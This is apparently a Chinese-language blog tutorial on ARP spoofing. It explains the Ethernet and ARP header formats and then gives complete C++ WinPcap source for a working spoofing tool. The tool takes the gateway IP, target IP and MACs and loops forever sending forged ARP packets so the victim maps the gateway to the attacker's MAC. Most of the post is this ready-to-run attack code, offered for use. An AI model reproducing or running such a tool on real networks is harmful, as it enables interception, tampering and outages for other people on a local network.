ARP欺骗(英语:ARP spoofing),又称ARP毒化(ARP poisoning,网络上多译为ARP病毒)或ARP攻击,是针对以太网地址解析协议(ARP)的一种攻击技术,通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通。此种攻击可让攻击者获取局域网上的数据包甚至可篡改数据包,且可让网络上特定计算机或所有计算机无法正常连线。
实现的方法:
- 给指定的IP发ARP包
- ARP中指定来源IP是网关
- 然后来源的mac填写成我们自己的,这样子他就把网关认为成我们了
前几天老哥给我发了一本python的安全攻防,我翻了一下,看到了一篇用python实现的ARP毒化方法,用的是scapy,实现了简单的双工,下午的时候本来是要写人工智能的算法的,但是因为开了个班会的原因,一下子没兴趣了,舍友出去玩了没人陪我打游戏,我就想用C++实现ARP的毒化,也来扩大自己的类库(自己写了好多C++渗透逆向的类库,有感兴趣的可以和我要)。
用的还是比较老的winPcap。
编写前简单的了解一下ARP数据包的格式吧。
首先是以太网的头部:
- 0-6字节是目的的mac地址
- 6-12字节是源的mac地址
- 12-14字节是我们的请求类型(1位请求,2位响应)
ARP头部:
- 硬件类型 1
- 协议类型 ARP是0x806
- 硬件地址长度 6
- 协议地址长度 4
- 操作类型 ARP请求是1
- 下面就是mac和ip了,不再重复
//14字节以太网首部
struct EthernetHeader
{
u_char DestMAC[6]; //目的MAC地址 6字节
u_char SourMAC[6]; //源MAC地址 6字节
u_short EthType; //上一层协议类型,如0x0800代表上一层是IP协议,0x0806为arp 2字节
};
//28字节ARP帧结构
struct ArpHeader
{
unsigned short hdType; //硬件类型
unsigned short proType; //协议类型
unsigned char hdSize; //硬件地址长度
unsigned char proSize; //协议地址长度
unsigned short op; //操作类型,ARP请求(1),ARP应答(2),RARP请求(3),RARP应答(4)。
u_char smac[6]; //源MAC地址
u_char sip[4]; //源IP地址
u_char dmac[6]; //目的MAC地址
u_char dip[4]; //目的IP地址
};
知道了这些,配合上我们的毒化方法就能简单的实现一个ARP的欺骗了。
首先我们需要用户输入四个内容(当然也可以只输入目标的IP,但是那样加大了代码量)
- 目标IP
- 网关IP
- 本机MAC
- 目标MAC
用户输入进来之后,我们进行校验输入的格式对不对就可以了。
然后我们选择网卡,使用winpcap的pcap_findalldevs
就可以获取到网卡的信息了,得到的是一个链表,然后全部打印出来,让用户选择相对应的网卡,然后投掷我们ARP数据包。
看一下操作:
整个程序比较麻烦的东西就是解析ip和mac,贴一下我写的吧:
struct IPSTRUCT
{
unsigned char IP[4];
};
bool prarseIP(char* IP,IPSTRUCT* st)
{
char *substr= strtok(IP,".");
if (!substr)
return false;
st->IP[0] = atoi(substr);
substr= strtok(NULL,".");
if (!substr)
return false;
st->IP[1] = atoi(substr);
substr= strtok(NULL,".");
if (!substr)
return false;
st->IP[2] = atoi(substr);
substr= strtok(NULL,".");
if (!substr)
return false;
st->IP[3] = atoi(substr);
return true;
}
int hex2int(char c)
{
if ((c >= 'A') && (c <= 'Z'))
{
return c - 'A' + 10;
}
else if ((c >= 'a') && (c <= 'z'))
{
return c - 'a' + 10;
}
else if ((c >= '0') && (c <= '9'))
{
return c - '0';
}
return 0;
}
int HexToLLInt(const char* hexStr)
{
int data[20] = { 0 };
int count = 0;
int i = 0;
int ret = 0;
int len = strlen(hexStr);
if ((hexStr[len - 1] == '0') && (hexStr[len - 2] == '/'))
len -= 2;
for (int i = 0; i<len; i += 2)
{
int low = hex2int(hexStr[i+1]); //低四位
int high = hex2int(hexStr[i]); //高四位
data[count++] = (high << 4) + low;
}
for (i = 0; i <count; i++)
{
ret = ret << 8;
ret += data[i];
}
return ret;
}
struct MACSTRUCT
{
unsigned char MAC[6];
};
bool prarseMAC(char* IP,MACSTRUCT* st)
{
char *substr= strtok(IP,"-");
if (!substr)
return false;
st->MAC[0] = HexToLLInt(substr);
substr= strtok(NULL,"-");
if (!substr)
return false;
st->MAC[1] = HexToLLInt(substr);
substr= strtok(NULL,"-");
if (!substr)
return false;
st->MAC[2] = HexToLLInt(substr);
substr= strtok(NULL,"-");
if (!substr)
return false;
st->MAC[3] = HexToLLInt(substr);
substr= strtok(NULL,"-");
if (!substr)
return false;
st->MAC[4] = HexToLLInt(substr);
substr= strtok(NULL,"-");
if (!substr)
return false;
st->MAC[5] = HexToLLInt(substr);
return true;
}
封装了几个方法,十六进制的从网上借鉴的,懒得写了...
pcap_if_t *alldevs;
pcap_if_t *d;
char errbuf[PCAP_ERRBUF_SIZE+1];
/* Retrieve the interfaces list */
if (pcap_findalldevs(&alldevs, errbuf) == -1)
{
fprintf(stderr,"Error in pcap_findalldevs: %s\n",errbuf);
exit(1);
}
int id = 0;
/* Scan the list printing every entry */
for(d=alldevs;d;d=d->next)
{
printf_s("%d:",id);
id++;
ifprint(d);
}
int UseEID = 0;
printf_s("请输入要使用的设备编号:");
scanf_s("%d",&UseEID);
/* 跳转到选中的适配器 */
for (d = alldevs, id = 0; id < UseEID; d = d->next, id++)
Sleep(1);
pcap_t *adhandle; //打开网络适配器,捕捉实例,是pcap_open返回的对象
char error[PCAP_ERRBUF_SIZE];
if((adhandle = pcap_open_live(d->name, 100, 1, 1000, error) ) == NULL)
{
fprintf(stderr,"\nError opening adapter: %s\n", error);
system("pause");
return 0;
}
通过pcap_findalldevs
获得pcap_if_t
的链表指针,然后打印出来相关信息。
封装我们的ARP数据包:
unsigned char sendbuf[42]; //arp包结构大小,42个字节
EthernetHeader eh;
ArpHeader ah;
//赋值MAC地址
memcpy(eh.DestMAC, ETHDestmac, 6); //以太网首部目的MAC地址,全为广播地址
memcpy(eh.SourMAC, ETHSourcemac, 6); //以太网首部源MAC地址
eh.EthType = htons(ETH_ARP); //htons:将主机的无符号短整形数转换成网络字节顺序
ah.hdType = htons(ARP_HARDWARE);
ah.proType = htons(ETH_IP);
ah.hdSize = 6;
ah.proSize = 4;
ah.op = htons(ARP_REQUEST);
memcpy(ah.smac, ARPSourcemac, 6); //ARP字段源MAC地址
memcpy(ah.dmac, ARPDestmac, 6); //ARP字段目的MAC地址
memcpy(ah.sip, ARPSip, 4); //ARP字段源IP地址
memcpy(ah.dip, ARPDip, 4); //ARP字段目的IP地址
//构造一个ARP请求
memset(sendbuf, 0, sizeof(sendbuf)); //ARP清零
memcpy(sendbuf, &eh, sizeof(eh));
memcpy(sendbuf + sizeof(eh), &ah, sizeof(ah));
循环发送ARP数据包:
printf_s("开始ARP欺骗");
//监控数据包
//pcap_loop(adhandle, 0, packet_handler, NULL);
while(true)
{
if (pcap_sendpacket(adhandle, sendbuf, 42) == 0) {
printf("ARP欺骗succeed\n");
Sleep(500);
}
else {
printf("PacketSendPacket in getmine Error: %d\n", GetLastError());
break;
}
}
这样就可以实现ARP欺骗了。
ARP欺骗的完整代码:
#include "stdafx.h"
#include "PCAP.h"
#include "remote-ext.h"
#ifndef WIN32
#include <sys/socket.h>
#include <netinet/in.h>
#else
#include <winsock.h>
#endif
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"wpcap.lib")
/*
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
{
system("cls");
static int packet_Count=1;
packet_Count++;
printf("开始欺骗后劫持本地的数据包个数:%d",packet_Count);
}
*/
#define ETH_ARP 0x0806 //以太网帧类型表示后面数据的类型,对于ARP请求或应答来说,该字段的值为x0806
#define ARP_HARDWARE 1 //硬件类型字段值为表示以太网地址
#define ETH_IP 0x0800 //协议类型字段表示要映射的协议地址类型值为x0800表示IP地址
#define ARP_REQUEST 1 //ARP请求
#define ARP_RESPONSE 2 //ARP应答
//14字节以太网首部
struct EthernetHeader
{
u_char DestMAC[6]; //目的MAC地址 6字节
u_char SourMAC[6]; //源MAC地址 6字节
u_short EthType; //上一层协议类型,如0x0800代表上一层是IP协议,0x0806为arp 2字节
};
//28字节ARP帧结构
struct ArpHeader
{
unsigned short hdType; //硬件类型
unsigned short proType; //协议类型
unsigned char hdSize; //硬件地址长度
unsigned char proSize; //协议地址长度
unsigned short op; //操作类型,ARP请求(1),ARP应答(2),RARP请求(3),RARP应答(4)。
u_char smac[6]; //源MAC地址
u_char sip[4]; //源IP地址
u_char dmac[6]; //目的MAC地址
u_char dip[4]; //目的IP地址
};
/* From tcptraceroute, convert a numeric IP address to a string */
#define IPTOSBUFFERS 12
char *iptos(u_long in)
{
static char output[IPTOSBUFFERS][3*4+3+1];
static short which;
u_char *p;
p = (u_char *)∈
which = (which + 1 == IPTOSBUFFERS ? 0 : which + 1);
sprintf(output[which], "%d.%d.%d.%d", p[0], p[1], p[2], p[3]);
return output[which];
}
/* Print all the available information on the given interface */
void ifprint(pcap_if_t *d)
{
pcap_addr_t *a;
/* Name */
printf("%s\n",d->name);
/* Description */
if (d->description)
printf("\tDescription: %s\n",d->description);
/* Loopback Address*/
printf("\tLoopback: %s\n",(d->flags & PCAP_IF_LOOPBACK)?"yes":"no");
/* IP addresses */
for(a=d->addresses;a;a=a->next) {
printf("\tAddress Family: #%d\n",a->addr->sa_family);
switch(a->addr->sa_family)
{
case AF_INET:
printf("\tAddress Family Name: AF_INET\n");
if (a->addr)
printf("\tAddress: %s\n",iptos(((struct sockaddr_in *)a->addr)->sin_addr.s_addr));
if (a->netmask)
printf("\tNetmask: %s\n",iptos(((struct sockaddr_in *)a->netmask)->sin_addr.s_addr));
if (a->broadaddr)
printf("\tBroadcast Address: %s\n",iptos(((struct sockaddr_in *)a->broadaddr)->sin_addr.s_addr));
if (a->dstaddr)
printf("\tDestination Address: %s\n",iptos(((struct sockaddr_in *)a->dstaddr)->sin_addr.s_addr));
break;
default:
printf("\tAddress Family Name: Unknown\n");
break;
}
}
printf("\n");
}
struct IPSTRUCT
{
unsigned char IP[4];
};
bool prarseIP(char* IP,IPSTRUCT* st)
{
char *substr= strtok(IP,".");
if (!substr)
return false;
st->IP[0] = atoi(substr);
substr= strtok(NULL,".");
if (!substr)
return false;
st->IP[1] = atoi(substr);
substr= strtok(NULL,".");
if (!substr)
return false;
st->IP[2] = atoi(substr);
substr= strtok(NULL,".");
if (!substr)
return false;
st->IP[3] = atoi(substr);
return true;
}
int hex2int(char c)
{
if ((c >= 'A') && (c <= 'Z'))
{
return c - 'A' + 10;
}
else if ((c >= 'a') && (c <= 'z'))
{
return c - 'a' + 10;
}
else if ((c >= '0') && (c <= '9'))
{
return c - '0';
}
return 0;
}
int HexToLLInt(const char* hexStr)
{
int data[20] = { 0 };
int count = 0;
int i = 0;
int ret = 0;
int len = strlen(hexStr);
if ((hexStr[len - 1] == '0') && (hexStr[len - 2] == '/'))
len -= 2;
for (int i = 0; i<len; i += 2)
{
int low = hex2int(hexStr[i+1]); //低四位
int high = hex2int(hexStr[i]); //高四位
data[count++] = (high << 4) + low;
}
for (i = 0; i <count; i++)
{
ret = ret << 8;
ret += data[i];
}
return ret;
}
struct MACSTRUCT
{
unsigned char MAC[6];
};
bool prarseMAC(char* IP,MACSTRUCT* st)
{
char *substr= strtok(IP,"-");
if (!substr)
return false;
st->MAC[0] = HexToLLInt(substr);
substr= strtok(NULL,"-");
if (!substr)
return false;
st->MAC[1] = HexToLLInt(substr);
substr= strtok(NULL,"-");
if (!substr)
return false;
st->MAC[2] = HexToLLInt(substr);
substr= strtok(NULL,"-");
if (!substr)
return false;
st->MAC[3] = HexToLLInt(substr);
substr= strtok(NULL,"-");
if (!substr)
return false;
st->MAC[4] = HexToLLInt(substr);
substr= strtok(NULL,"-");
if (!substr)
return false;
st->MAC[5] = HexToLLInt(substr);
return true;
}
int main()
{
//以太网目的mac ,被欺骗的MAC
unsigned char ETHDestmac[6];
//以太网源mac,我们的mac
unsigned char ETHSourcemac[6];
//ARP源mac,我们的mac
unsigned char ARPSourcemac[6];
//ARP目的mac,被欺骗的mac
unsigned char ARPDestmac[6];
//被欺骗的IP地址
unsigned char ARPDip[4];
//网关IP
unsigned char ARPSip[4];
char text[66];
printf_s("请输入网关IP:");
scanf("%s",&text);
IPSTRUCT ips;
if(!prarseIP(text,&ips))
{
printf("网关IP输入出错");
return -1;
}
memcpy(ARPSip,ips.IP,4);
printf_s("请输入目标IP:");
scanf("%s",&text);
if(!prarseIP(text,&ips))
{
printf("目标IP输入出错");
return -1;
}
memcpy(ARPDip,ips.IP,4);
printf_s("请输入本机MAC:");
scanf("%s",&text);
MACSTRUCT macs;
if(!prarseMAC(text,&macs))
{
printf("本机MAC输入出错");
return -1;
}
memcpy(ETHSourcemac,macs.MAC,6);
memcpy(ARPSourcemac,macs.MAC,6);
printf_s("请输入目标MAC:");
scanf("%s",&text);
if(!prarseMAC(text,&macs))
{
printf("目标MAC输入出错");
return -1;
}
memcpy(ETHDestmac,macs.MAC,6);
memcpy(ARPDestmac,macs.MAC,6);
pcap_if_t *alldevs;
pcap_if_t *d;
char errbuf[PCAP_ERRBUF_SIZE+1];
/* Retrieve the interfaces list */
if (pcap_findalldevs(&alldevs, errbuf) == -1)
{
fprintf(stderr,"Error in pcap_findalldevs: %s\n",errbuf);
exit(1);
}
int id = 0;
/* Scan the list printing every entry */
for(d=alldevs;d;d=d->next)
{
printf_s("%d:",id);
id++;
ifprint(d);
}
int UseEID = 0;
printf_s("请输入要使用的设备编号:");
scanf_s("%d",&UseEID);
/* 跳转到选中的适配器 */
for (d = alldevs, id = 0; id < UseEID; d = d->next, id++)
Sleep(1);
pcap_t *adhandle; //打开网络适配器,捕捉实例,是pcap_open返回的对象
char error[PCAP_ERRBUF_SIZE];
if((adhandle = pcap_open_live(d->name, 100, 1, 1000, error) ) == NULL)
{
fprintf(stderr,"\nError opening adapter: %s\n", error);
system("pause");
return 0;
}
unsigned char sendbuf[42]; //arp包结构大小,42个字节
EthernetHeader eh;
ArpHeader ah;
//赋值MAC地址
memcpy(eh.DestMAC, ETHDestmac, 6); //以太网首部目的MAC地址,全为广播地址
memcpy(eh.SourMAC, ETHSourcemac, 6); //以太网首部源MAC地址
eh.EthType = htons(ETH_ARP); //htons:将主机的无符号短整形数转换成网络字节顺序
ah.hdType = htons(ARP_HARDWARE);
ah.proType = htons(ETH_IP);
ah.hdSize = 6;
ah.proSize = 4;
ah.op = htons(ARP_REQUEST);
memcpy(ah.smac, ARPSourcemac, 6); //ARP字段源MAC地址
memcpy(ah.dmac, ARPDestmac, 6); //ARP字段目的MAC地址
memcpy(ah.sip, ARPSip, 4); //ARP字段源IP地址
memcpy(ah.dip, ARPDip, 4); //ARP字段目的IP地址
//构造一个ARP请求
memset(sendbuf, 0, sizeof(sendbuf)); //ARP清零
memcpy(sendbuf, &eh, sizeof(eh));
memcpy(sendbuf + sizeof(eh), &ah, sizeof(ah));
printf_s("开始ARP欺骗");
//监控数据包
//pcap_loop(adhandle, 0, packet_handler, NULL);
while(true)
{
if (pcap_sendpacket(adhandle, sendbuf, 42) == 0) {
printf("ARP欺骗succeed\n");
Sleep(500);
}
else {
printf("PacketSendPacket in getmine Error: %d\n", GetLastError());
break;
}
}
return 0;
}
我没有实现双工,只是实现了欺骗目标IP,有兴趣的可以自己实现欺骗网关
winpcap
需要用到的头文件:
WpdPack.zip (754.5 KB)
需要安装的DLL和SYS文件的安装包
WinPcap_4_1_3.zip (874.3 KB)